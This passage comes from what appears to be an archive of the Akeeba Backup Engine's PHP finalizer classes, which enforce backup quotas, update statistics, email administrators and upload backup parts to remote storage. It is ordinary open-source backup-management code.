		while (!empty($removeBackupIDs) && $timer->getTimeLeft() > 0)
		{
			$id   = array_shift($removeBackupIDs);
			$data = ['filesexist' => '0'];

			Platform::getInstance()->set_or_update_statistics($id, $data);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas upon backup records
		if (!empty($filesToRemove) > 0)
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing backup archives',
					$this->quotaType
				)
			);
		}

		while (!empty($filesToRemove) && $timer->getTimeLeft() > 0)
		{
			$file = array_shift($filesToRemove);

			if (@Platform::getInstance()->unlink($file))
			{
				continue;
			}

			Factory::getLog()->warning(
				sprintf(
					'Failed to remove old backup file %s',
					$file
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		// Apply quotas to log files
		if (!empty($removeLogPaths))
		{
			Factory::getLog()->debug(
				sprintf(
					'Applying %s quotas: removing obsolete log files',
					$this->quotaType
				)
			);
			Factory::getLog()->debug('Removing obsolete log files');
		}

		while (!empty($removeLogPaths) && $timer->getTimeLeft() > 0)
		{
			$logPath = array_shift($removeLogPaths);

			if (@Platform::getInstance()->unlink($logPath))
			{
				continue;
			}

			Factory::getLog()->debug(
				sprintf(
					'Failed to remove old log file %s',
					$logPath
				)
			);
		}

		// Check if I have enough time
		if ($timer->getTimeLeft() <= 0)
		{
			return false;
		}

		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/ObsoleteRecordsQuotas.php000060400000007310152455305260022177 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Keeps a maximum number of "obsolete" records
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class ObsoleteRecordsQuotas extends AbstractFinalizer
{

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Applying quota limit on obsolete backup records');
		$this->setSubstep('');
		$registry = Factory::getConfiguration();
		$limit    = $registry->get('akeeba.quota.obsolete_quota', 0);
		$limit    = (int) $limit;

		if ($limit <= 0)
		{
			return true;
		}

		$platform   = Platform::getInstance();
		$statsTable = $platform->tableNameStats;
		$db         = Factory::getDatabase($platform->get_platform_database_options());
		$query      =
			(method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			   ->select([
				   $db->qn('id'),
				   $db->qn('tag'),
				   $db->qn('backupid'),
				   $db->qn('absolute_path'),
			   ])
			   ->from($db->qn($statsTable))
			   ->where($db->qn('profile_id') . ' = ' . $db->q($platform->get_active_profile()))
			   ->where($db->qn('status') . ' = ' . $db->q('complete'))
			   ->where($db->qn('filesexist') . '=' . $db->q('0'))
			   ->where(
				   '(' .
				   $db->qn('remote_filename') . '=' . $db->q('') . ' OR ' .
				   $db->qn('remote_filename') . ' IS NULL'
				   . ')'
			   )
			   ->order($db->qn('id') . ' DESC');

		$db->setQuery($query, $limit, 100000);
		$records = $db->loadAssocList();

		if (empty($records))
		{
			return true;
		}

		$array = [];

		// Delete backup-specific log files if they exist and add the IDs of the records to delete in the $array
		foreach ($records as $stat)
		{
			$array[] = $stat['id'];

			// We can't delete logs if there is no backup ID in the record
			if (!isset($stat['backupid']) || empty($stat['backupid']))
			{
				continue;
			}

			$logFileName = 'akeeba.' . $stat['tag'] . '.' . $stat['backupid'] . '.log.php';
			$logPath     = dirname($stat['absolute_path']) . '/' . $logFileName;

			if (@file_exists($logPath))
			{
				@unlink($logPath);
			}

			/**
			 * Transitional period: the log file akeeba.tag.log.php may not exist but the akeeba.tag.log does. This
			 * addresses this transition.
			 */
			$logPath = dirname($stat['absolute_path']) . '/' . substr($logFileName, 0, -4);

			if (@file_exists($logPath))
			{
				@unlink($logPath);
			}
		}

		$ids = [];

		foreach ($array as $id)
		{
			$ids[] = $db->q($id);
		}

		$ids = implode(',', $ids);

		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
		            ->delete($db->qn($statsTable))
		            ->where($db->qn('id') . " IN ($ids)");
		$db->setQuery($query);
		$db->query();

		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/UpdateFileSizes.php000060400000005156152455305260020752 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;

/**
 * Updates the file sizes in the statistics records
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class UpdateFileSizes extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Updating file sizes');
		$this->setSubstep('');
		Factory::getLog()->debug("Updating statistics with file sizes");

		// Fetch the stats record
		$statistics    = Factory::getStatistics();
		$configuration = Factory::getConfiguration();
		$record        = $statistics->getRecord();
		$filenames     = $statistics->get_all_filenames($record) ?: [];
		$filesize      = 0.0;

		// Calculate file sizes of files remaining on the server
		foreach ($filenames as $file)
		{
			$filesize += ((@filesize($file)) ?: 0) * 1.0;
		}

		// Get the part size in volatile storage, set from the immediate part uploading effected by the
		// "Process each part immediately" option, and add it to the total file size
		$config              = $configuration;
		$postProcImmediately = $config->get('engine.postproc.common.after_part', 0, false);
		$deleteAfter         = $config->get('engine.postproc.common.delete_after', 0, false);
		$postProcEngine      = $config->get('akeeba.advanced.postproc_engine', 'none');

		if ($postProcImmediately && $deleteAfter && ($postProcEngine != 'none'))
		{
			$filesize += $configuration->get('volatile.engine.archiver.totalsize', 0) ?: 0;
		}

		$data = [
			'total_size' => $filesize,
		];

		Factory::getLog()->debug("Total size of backup archive (in bytes): $filesize");

		$statistics->setStatistics($data);

		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/AbstractFinalizer.php000060400000004772152455305260021324 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Core\Domain\Finalization;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Abstract implementation of a finalizer class
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
abstract class AbstractFinalizer implements FinalizerInterface
{
	/**
	 * The part we belong to
	 *
	 * @since 9.3.1
	 * @var   Finalization
	 */
	private $finalizationPart;

	/**
	 * Public constructor
	 *
	 * @param   Finalization  $finalizationPart  The part we belong to.
	 *
	 * @since   9.3.1
	 */
	public function __construct(Finalization $finalizationPart)
	{
		$this->finalizationPart = $finalizationPart;
	}

	/**
	 * Relays an exception so it can be logged
	 *
	 * @param   \Throwable  $e
	 * @param   string      $logLevel
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function logErrorsFromException(\Throwable $e, string $logLevel = LogLevel::ERROR): void
	{
		$this->finalizationPart->relayException($e, $logLevel);
	}

	/**
	 * Relays the current step back to the parent finalization engine part
	 *
	 * @param   string  $step  The step name to set
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function setStep(string $step): void
	{
		$this->finalizationPart->relayStep($step);
	}

	/**
	 * Relays the current sub-step back to the parent finalization engine part
	 *
	 * @param   string  $substep  The sub-step name to set
	 *
	 * @return  void
	 * @since   9.3.1
	 */
	protected function setSubstep(string $substep): void
	{
		$this->finalizationPart->relaySubstep($substep);
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/MailAdministrators.php000060400000021610152455305260021511 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;

/**
 * Sends an email to the site administrators on backup completion
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class MailAdministrators extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Processing emails to administrators');
		$this->setSubstep('');

		$platform = Platform::getInstance();

		// Skip email for back-end backups
		if ($platform->get_backup_origin() == 'backend')
		{
			return true;
		}

		// Is the feature enabled?
		if ($platform->get_platform_configuration_option('frontend_email_on_finish', 0) == 0)
		{
			return true;
		}

		Factory::getLog()->debug("Preparing to send e-mail to administrators");

        $emails = $this->getEmailAddresses();

		if (empty($emails))
		{
			Factory::getLog()->debug("No email recipients found! Skipping email.");

			return true;
		}

		Factory::getLog()->debug("Creating email subject and body");

		// Get the statistics
		$statistics    = Factory::getStatistics();
		$profileNumber = $platform->get_active_profile();

		$db    = Factory::getDatabase();
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))->select('1');
		$dummy = $db->setQuery($query)->loadResult();

		$profileName   = $platform->get_profile_name($profileNumber);
		$statsRecord   = $statistics->getRecord();
		$partsCount    = max(1, $statsRecord['multipart']);
		$allFilenames  = $this->getPartFilenames($statsRecord);
		$filesList     = implode(
			"\n", array_map(function ($file) {
				return "\t" . $file;
			}, $allFilenames)
		);
		$totalSize     = (int) ($statsRecord['total_size'] ?? 0);

		// Get the approximate part sizes and create a list of files and sizes
		$configuration     = Factory::getConfiguration();
		$partSize          = $configuration->get('engine.archiver.common.part_size', 0);
		$lastPartSize      = $totalSize - (($partsCount - 1) * $partSize);
		$partSizes         = array_fill(0, $partsCount - 1, $partSize);
		$partSizes[]       = $lastPartSize;
		$filesAndSizesList = implode(
			"\n",
			array_map(
				function ($file, $size) {
					return sprintf(
						"\t%s (approx. %s)",
						$file,
						$this->formatByteSize($size)
					);
				},
				$allFilenames,
				$partSizes
			)
		);

		// Determine the upload to remote storage status
		$remoteStatus   = '';
		$failedUpdate   = false;
		$postProcEngine = Factory::getConfiguration()->get('akeeba.advanced.postproc_engine');

		if (!empty($postProcEngine) && ($postProcEngine != 'none'))
		{
			$remoteStatus = $platform->translate('COM_AKEEBA_EMAIL_POSTPROCESSING_SUCCESS');

			if (empty($statsRecord['remote_filename']))
			{
				$failedUpdate = true;
				$remoteStatus = $platform->translate('COM_AKEEBA_EMAIL_POSTPROCESSING_FAILED');
			}
		}

		// Did the user ask to be emailed only on failed uploads but the upload has succeeded?
		if (
			!$failedUpdate
			&& ($platform->get_platform_configuration_option('frontend_email_when', 'always') == 'failedupload')
		)
		{
			return true;
		}

		// Fetch user's preferences
		$subject = trim($platform->get_platform_configuration_option('frontend_email_subject', ''));
		$body    = trim($platform->get_platform_configuration_option('frontend_email_body', ''));

		// Get a default subject or post-process a manually defined subject
		$subject = empty($subject)
			? $platform->translate('COM_AKEEBA_COMMON_EMAIL_SUBJECT_OK')
			: Factory::getFilesystemTools()->replace_archive_name_variables($subject);

		// Do we need a default body?
		if (empty($body))
		{
			$body = $platform->translate('COM_AKEEBA_COMMON_EMAIL_BODY_OK');
			$body .= "\n\n";
			$body .= sprintf(
				$platform->translate('COM_AKEEBA_COMMON_EMAIL_BODY_INFO'),
				$profileNumber,
				$partsCount
			);
			$body .= "\n\n";
			$body .= $filesAndSizesList;
		}
		else
		{
			// Post-process the body
			$body = Factory::getFilesystemTools()->replace_archive_name_variables($body);
			$body = str_replace('[PROFILENUMBER]', $profileNumber, $body);
			$body = str_replace('[PROFILENAME]', $profileName, $body);
			$body = str_replace('[PARTCOUNT]', $partsCount, $body);
			$body = str_replace('[FILELIST]', $filesList, $body);
			$body = str_replace('[FILESIZESLIST]', $filesAndSizesList, $body);
			$body = str_replace('[REMOTESTATUS]', $remoteStatus, $body);
			$body = str_replace('[TOTALSIZE]', $this->formatByteSize($totalSize), $body);
		}

		// Post-process the subject (support the [REMOTESTATUS] variable)
		$subject = str_replace('[REMOTESTATUS]', $remoteStatus, $subject);

		// Sometimes $body contains literal \n instead of newlines
		$body = str_replace('\\n', "\n", $body);

		foreach ($emails as $email)
		{
			Factory::getLog()->debug("Sending email to $email");
			try
			{
				$platform->send_email($email, $subject, $body);
			}
			catch (\Exception $e)
			{
				// Don't cry if we cannot send an email; just log it as a warning
				Factory::getLog()->warning(
					sprintf(
						'Cannot send email to ‘%s’. Error message: “%s”',
						$email,
						$e->getMessage()
					)
				);
			}
		}

		return true;
	}

	/**
	 * Returns a list of files' base names for the given backup statistics record
	 *
	 * @param   array  $statsRecord  The statistics record
	 *
	 * @return  array  List of file names
	 *
	 * @since   9.3.1
	 */
	private function getPartFilenames(array $statsRecord): array
	{
		$baseFile = basename(
			$statsRecord['absolute_path'] ?? $statsRecord['archivename'] ?? $statsRecord['remote_filename'] ?? ''
		);

		if (empty($baseFile))
		{
			return [];
		}

		$partsCount = max($statsRecord['multipart'] ?? 1, 1);

		if ($partsCount === 1)
		{
			return [$baseFile];
		}

		$ret       = [];
		$extension = substr($baseFile, strrpos($baseFile, '.'));
		$bareName  = basename($baseFile, $extension);

		for ($i = 1; $i < $partsCount; $i++)
		{
			$ret[] = $bareName . substr($extension, 0, 2) . sprintf('%02d', $i);
		}

		$ret[] = $baseFile;

		return $ret;
	}

	/**
	 * Formats a number of bytes in human-readable format
	 *
	 * @param   int|float  $size  The size in bytes to format, e.g. 8254862
	 *
	 * @return  string  The human-readable representation of the byte size, e.g. "7.87 Mb"
	 * @since   9.3.1
	 */
	private function formatByteSize($size): string
	{
		$unit = ['b', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB'];

		return @round($size / 1024 ** ($i = floor(log($size, 1024))), 2) . ' ' . $unit[$i];
	}

	/**
	 * Get the addresses to send emails to.
	 *
	 * @return  array
	 * @since   9.4.9
	 */
    private function getEmailAddresses(): array
    {
        $platform      = Platform::getInstance();
        $configuration = Factory::getConfiguration();

        // Check if we have a list of emails saved inside the profile
        $email = trim($configuration->get('akeeba.basic.email_recipients', '') ?? '');

        if (!empty($email))
        {
            Factory::getLog()->debug("Using list of emails stored inside profile configuration");

	        $list = array_map(
				function ($x) {
					return trim ($x ?? '');
				},
		        explode(',', $email)
	        );

	        $list = array_filter(
		        $list,
		        function ($x)
		        {
					return !empty($x);
		        }
	        );

			if (!empty($list))
			{
				return $list;
			}
        }

        $email = trim($platform->get_platform_configuration_option('frontend_email_address', '') ?? '');

        if (!empty($email))
        {
            Factory::getLog()->debug("Using pre-defined list of emails");

	        $list = array_map(
		        function ($x) {
			        return trim ($x ?? '');
		        },
		        explode(',', $email)
	        );

	        $list = array_filter(
		        $list,
		        function ($x)
		        {
			        return !empty($x);
		        }
	        );

	        if (!empty($list))
	        {
		        return $list;
	        }
        }

        Factory::getLog()->debug("Fetching list of site administrator emails");

        return $platform->get_administrator_emails();
    }
}com_akeeba/BackupEngine/Core/Domain/Finalizer/UpdateStatistics.php000060400000004661152455305260021207 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;

/**
 * Updates the backup statistics record
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class UpdateStatistics extends AbstractFinalizer
{
	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Updating backup record information');
		$this->setSubstep('');

		Factory::getLog()->debug('Updating statistics');

		// We finished normally. Fetch the stats record
		$statistics = Factory::getStatistics();
		$registry   = Factory::getConfiguration();
		$data       = [
			'backupend' => Platform::getInstance()->get_timestamp_database(),
			'status'    => 'complete',
			'multipart' => $registry->get('volatile.statistics.multipart', 0),
		];

		try
		{
			$result = $statistics->setStatistics($data);
		}
		catch (Exception $e)
		{
			$result = false;
		}

		if ($result === false)
		{
			// Most likely a "MySQL has gone away" issue...
			$configuration = Factory::getConfiguration();
			$configuration->set('volatile.breakflag', true);

			return false;
		}

		/**
		 * We could have handled it in $data above. However, if the schema has not been updated this function will
		 * continue failing infinitely, causing the backup to never end.
		 */
		$statistics->updateInStep(false);

		$stat = (object) $statistics->getRecord();
		Platform::getInstance()->remove_duplicate_backup_records($stat->archivename);

		return true;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/PostProcessing.php000060400000023331152455305260020667 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Base\Exceptions\ErrorException;
use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Akeeba\Engine\Postproc\Base;
use Akeeba\Engine\Postproc\PostProcInterface;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Performs any necessary post-processing (remote file uploading) still pending.
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 *
 */
final class PostProcessing extends AbstractFinalizer
{
	/** @var array A list of all backup parts to process */
	private $backupParts = [];

	/** @var int The backup part we are currently processing */
	private $backupPartsIndex = -1;

	/** @var int How many finalisation substeps I have already done */
	private $subStepsDone = 0;

	/** @var int How many finalisation substeps I have in total */
	private $subStepsTotal = 0;

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Post-processing');
		$this->setSubstep('');

		// Do not run if the archive engine doesn't produce archives
		$configuration       = Factory::getConfiguration();
		$engineName          = $configuration->get('akeeba.advanced.postproc_engine');
		$shouldAbortOnFailed = $configuration->get('engine.postproc.common.abort_on_fail', false);

		Factory::getLog()->debug("Loading post-processing engine object ($engineName)");

		$postProcEngine = Factory::getPostprocEngine($engineName);

		if (!is_object($postProcEngine) || !($postProcEngine instanceof Base))
		{
			Factory::getLog()->debug(
				sprintf(
					'Post-processing engine “%s” not found.',
					$engineName
				)
			);
			Factory::getLog()->debug("The post-processing engine has either been removed or you are trying to use a profile created with the Professional version of the backup software in the Core version which doesn't have this post-processing engine.");

			return true;
		}

		// Initialize the archive part list if required
		if (empty($this->backupParts))
		{
			$ret = $this->initialiseBackupParts($postProcEngine);

			if ($ret !== null)
			{
				return $ret;
			}
		}

		// Make sure we don't accidentally break the step when not required to do so
		$configuration->set('volatile.breakflag', false);

		// Do we have a filename from the previous run of the post-proc engine?
		$filename = $configuration->get('volatile.postproc.filename', null);

		if (empty($filename))
		{
			$filename = $this->backupParts[$this->backupPartsIndex];
			Factory::getLog()->info('Beginning post processing file ' . $filename);
		}
		else
		{
			Factory::getLog()->info('Continuing post processing file ' . $filename);
		}

		$this->setStep('Post-processing');
		$this->setSubstep(basename($filename));
		$timer               = Factory::getTimer();
		$startTime           = $timer->getRunningTime();
		$processingException = null;

		try
		{
			$finishedProcessing = $postProcEngine->processPart($filename);
		}
		catch (Exception $e)
		{
			$finishedProcessing  = false;
			$processingException = $e;
		}

		if (!is_null($processingException))
		{
			Factory::getLog()->warning('Failed to process file ' . $filename);
			Factory::getLog()->warning('Error received from the post-processing engine:');

			$this->logErrorsFromException($processingException, $shouldAbortOnFailed ? LogLevel::ERROR : LogLevel::WARNING);

			if ($shouldAbortOnFailed)
			{
				throw new ErrorException(sprintf('Failed to process backup archive file %s', basename($filename)));
			}
		}
		elseif ($finishedProcessing === true)
		{
			// The post-processing of this file ended successfully
			Factory::getLog()->info('Finished post-processing file ' . $filename);
			$configuration->set('volatile.postproc.filename', null);
		}
		else
		{
			// More work required
			Factory::getLog()->info('More post-processing steps required for file ' . $filename);
			$configuration->set('volatile.postproc.filename', $filename);

			// Do we need to break the step?
			$endTime  = $timer->getRunningTime();
			$stepTime = $endTime - $startTime;
			$timeLeft = $timer->getTimeLeft();

			// By default, we assume that we have enough time to run yet another step
			$configuration->set('volatile.breakflag', false);

			/**
			 * However, if the last step took longer than the time we already have left on the timer we can predict
			 * that we are running out of time, therefore we need to break the step.
			 */
			if ($timeLeft < $stepTime)
			{
				$configuration->set('volatile.breakflag', true);
			}
		}

		// Should we delete the file afterwards?
		$canAndShouldDeleteFileAfterwards =
			$configuration->get('engine.postproc.common.delete_after', false)
			&& $postProcEngine->isFileDeletionAfterProcessingAdvisable();

		if ($canAndShouldDeleteFileAfterwards && $finishedProcessing)
		{
			Factory::getLog()->debug('Deleting already processed file ' . $filename);
			Platform::getInstance()->unlink($filename);
		}
		elseif ($canAndShouldDeleteFileAfterwards && !$finishedProcessing)
		{
			Factory::getLog()->debug('Not removing the non-processed file ' . $filename);
		}
		else
		{
			Factory::getLog()->debug('Not removing processed file ' . $filename);
		}

		if ($finishedProcessing === true)
		{
			// Move the index forward if the part finished processing
			$this->backupPartsIndex++;

			// Mark substep done
			$this->subStepsDone++;

			// Break step after processing?
			if (
				$postProcEngine->recommendsBreakAfter()
				&& !Factory::getConfiguration()->get('akeeba.tuning.nobreak.finalization', 0)
			)
			{
				$configuration->set('volatile.breakflag', true);
			}

			// If we just finished processing the first archive part, save its remote path in the statistics.
			if (($this->subStepsDone == 1) || ($this->subStepsTotal == 0))
			{
				$this->updateStatistics($postProcEngine, $engineName);
			}

			// Are we past the end of the array (i.e. we're finished)?
			if ($this->backupPartsIndex >= count($this->backupParts))
			{
				Factory::getLog()->info('Post-processing has finished for all files');

				return true;
			}
		}

		if (!is_null($processingException))
		{
			// If the post-processing failed, make sure we don't process anything else
			$this->backupPartsIndex = count($this->backupParts);
			Factory::getLog()->warning('Post-processing interrupted -- no more files will be transferred');

			return true;
		}

		// Indicate we're not done yet
		return false;
	}

	/**
	 * Update the backup record upon post-processing the first part.
	 *
	 * @param   PostProcInterface  $postProcEngine  The post-processing engine we're using
	 * @param   string             $engineName      The name of the post-processing engine we're using
	 *
	 * @throws  Exception
	 * @since   9.3.1
	 */
	public function updateStatistics(PostProcInterface $postProcEngine, string $engineName): void
	{
		if (empty($postProcEngine->getRemotePath()))
		{
			return;
		}

		$configuration   = Factory::getConfiguration();
		$statistics      = Factory::getStatistics();
		$remote_filename = $engineName . '://';
		$remote_filename .= $postProcEngine->getRemotePath();
		$data            = [
			'remote_filename' => $remote_filename,
		];
		$remove_after    = $configuration->get('engine.postproc.common.delete_after', false);

		if ($remove_after)
		{
			$data['filesexist'] = 0;
		}

		$statistics->setStatistics($data);
	}

	/**
	 * Initialise the backup parts information
	 *
	 * @param   PostProcInterface  $postProcEngine  The post-processing engine we're using
	 *
	 * @return  bool|null
	 *
	 * @since   9.3.1
	 */
	private function initialiseBackupParts(PostProcInterface $postProcEngine): ?bool
	{
		$configuration = Factory::getConfiguration();

		Factory::getLog()->info('Initializing post-processing engine');

		// Initialize the flag for multistep post-processing of parts
		$configuration->set('volatile.postproc.filename', null);
		$configuration->set('volatile.postproc.directory', null);

		// Populate array w/ absolute names of backup parts
		$statistics        = Factory::getStatistics();
		$stat              = $statistics->getRecord();
		$this->backupParts = Factory::getStatistics()->get_all_filenames($stat, false);

		if (is_null($this->backupParts))
		{
			// No archive produced, or they are all already post-processed
			Factory::getLog()->info('No archive files found to post-process');

			return true;
		}

		Factory::getLog()->debug(count($this->backupParts) . ' files to process found');

		$this->subStepsTotal = count($this->backupParts);
		$this->subStepsDone  = 0;

		$this->backupPartsIndex = 0;

		// If we have an empty array, do not run
		if (empty($this->backupParts))
		{
			return true;
		}

		// Break step before processing?
		if (
			$postProcEngine->recommendsBreakBefore()
			&& !$configuration->get(
				'akeeba.tuning.nobreak.finalization', 0
			)
		)
		{
			Factory::getLog()->debug('Breaking step before post-processing run');
			$configuration->set('volatile.breakflag', true);

			return false;
		}

		return null;
	}
}com_akeeba/BackupEngine/Core/Domain/Finalizer/UploadKickstart.php000060400000006001152455305260021004 0ustar00<?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2024 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

/**
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 * @subpackage
 *
 * @copyright   A copyright
 * @license     A "Slug" license name e.g. GPL2
 */

namespace Akeeba\Engine\Core\Domain\Finalizer;

use Akeeba\Engine\Factory;
use Akeeba\Engine\Platform;
use Exception;
use Akeeba\Engine\Psr\Log\LogLevel;

/**
 * Uploads Kickstart using the post-processing engine
 *
 * @since       9.3.1
 * @package     Akeeba\Engine\Core\Domain\Finalizer
 */
final class UploadKickstart extends AbstractFinalizer
{

	/**
	 * @inheritDoc
	 */
	public function __invoke()
	{
		$this->setStep('Post-processing Kickstart');
		$this->setSubstep('');

		$configuration = Factory::getConfiguration();

		// Do not run if we are not told to upload Kickstart
		$uploadKickstart = $configuration->get('akeeba.advanced.uploadkickstart', 0);

		if (!$uploadKickstart)
		{
			return true;
		}

		$engineName = $configuration->get('akeeba.advanced.postproc_engine');
		Factory::getLog()->debug("Loading post-processing engine object ($engineName)");
		$postProcEngine = Factory::getPostprocEngine($engineName);

		// Set $filename to kickstart's source file
		$filename = Platform::getInstance()->get_installer_images_path() . '/kickstart.txt';

		// Post-process the file
		$this->setSubstep('kickstart.php');

		if (!@file_exists($filename) || !is_file($filename))
		{
			Factory::getLog()->warning(
				sprintf(
